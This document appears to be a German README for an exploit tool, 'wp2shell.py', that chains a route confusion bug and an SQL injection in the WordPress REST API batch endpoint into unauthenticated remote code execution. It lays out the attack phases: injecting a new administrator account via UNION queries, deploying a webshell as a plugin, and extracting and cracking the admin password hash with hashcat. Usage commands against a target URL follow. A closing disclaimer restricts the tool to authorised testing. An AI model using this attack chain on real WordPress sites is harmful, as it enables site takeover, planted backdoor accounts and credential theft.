
Nicht authentifizierte RCE im WordPress-Kern (CVE-2026-63030 + CVE-2026-60137)
Nutzt die Route Confusion (CVE-2026-63030) + SQL-Injection (CVE-2026-60137) im Batch-Endpunkt der WordPress-REST-API aus, um Remote Code Execution zu erreichen.
Der Batch-Endpunkt (/batch/v1) der WordPress-REST-API isoliert das Request-Routing nicht ordnungsgemäß. Indem ein Angreifer Batch-Requests ineinander verschachtelt, kann er interne Requests erzeugen, die die normalen Berechtigungsprüfungen von WordPress umgehen. Der entscheidende Indikator ist das Fehlermuster parse_path_failed + block_cannot_read in der Antwort – dies bestätigt, dass die Route Confusion ausnutzbar ist.
Wenn ein Request über den Batch-Endpunkt fehlgeleitet wird, wird der Parameter author_exclude in GET /wp/v2/posts nicht ordnungsgemäß bereinigt. Dies ermöglicht SQL-Injection über gestapelte Abfragen und UNION-Anweisungen – alles ohne Authentifizierung.
Phase 1: Probe
─────────────
Check batch endpoint reachable (HTTP 207)
Verify route confusion via marker requests
Confirm SQL injection via timing/oracle
Phase 2: UNION → RCE (fast path)
─────────────────────────────
If UNION injection works:
1. Detect table prefix (blind or brute-force common ones)
2. CREATE ADMIN USER via stacked UNION INSERT queries
- Bcrypt hash generated via PHP on attacker machine
- Insert row into {prefix}_users + {prefix}_usermeta
- New user gets administrator capabilities
3. Login + Deploy webshell as WordPress plugin
4. Execute commands via ?t=TOKEN&c=id
Phase 3: Blind → Hash (fallback path)
─────────────────────────────────
If UNION is blocked but blind SQLi works:
1. Extract MySQL version, user, database name
2. Extract table prefix from information_schema
3. Extract admin hash from {prefix}_users WHERE id=1
4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
5. Use --user / --pass --cmd id with cracked password
Phase 4: Credential login
──────────────────────
If --user/--pass provided:
1. Login via wp-login.php or REST API Basic Auth
2. Upload webshell as plugin
3. Execute commands
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com
# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only
# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only
# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt. Du musst die ausdrückliche Genehmigung des Eigentümers des Ziels haben, bevor du es verwendest. Unbefugter Zugriff auf Computersysteme ist illegal.
| Flag | Beschreibung |
|---|
--proxy | HTTP-Proxy (z. B. Burp Suite) |
--user | Admin-Benutzername für die Anmeldung |
--pass | Admin-Passwort |
--cmd | Befehl, der auf dem Ziel ausgeführt werden soll |
--union-only | Blinde Extraktion überspringen |
--blind-only | UNION-Versuch überspringen |
--sleep | SLEEP-Sekunden für zeitbasierte Blind-Injection |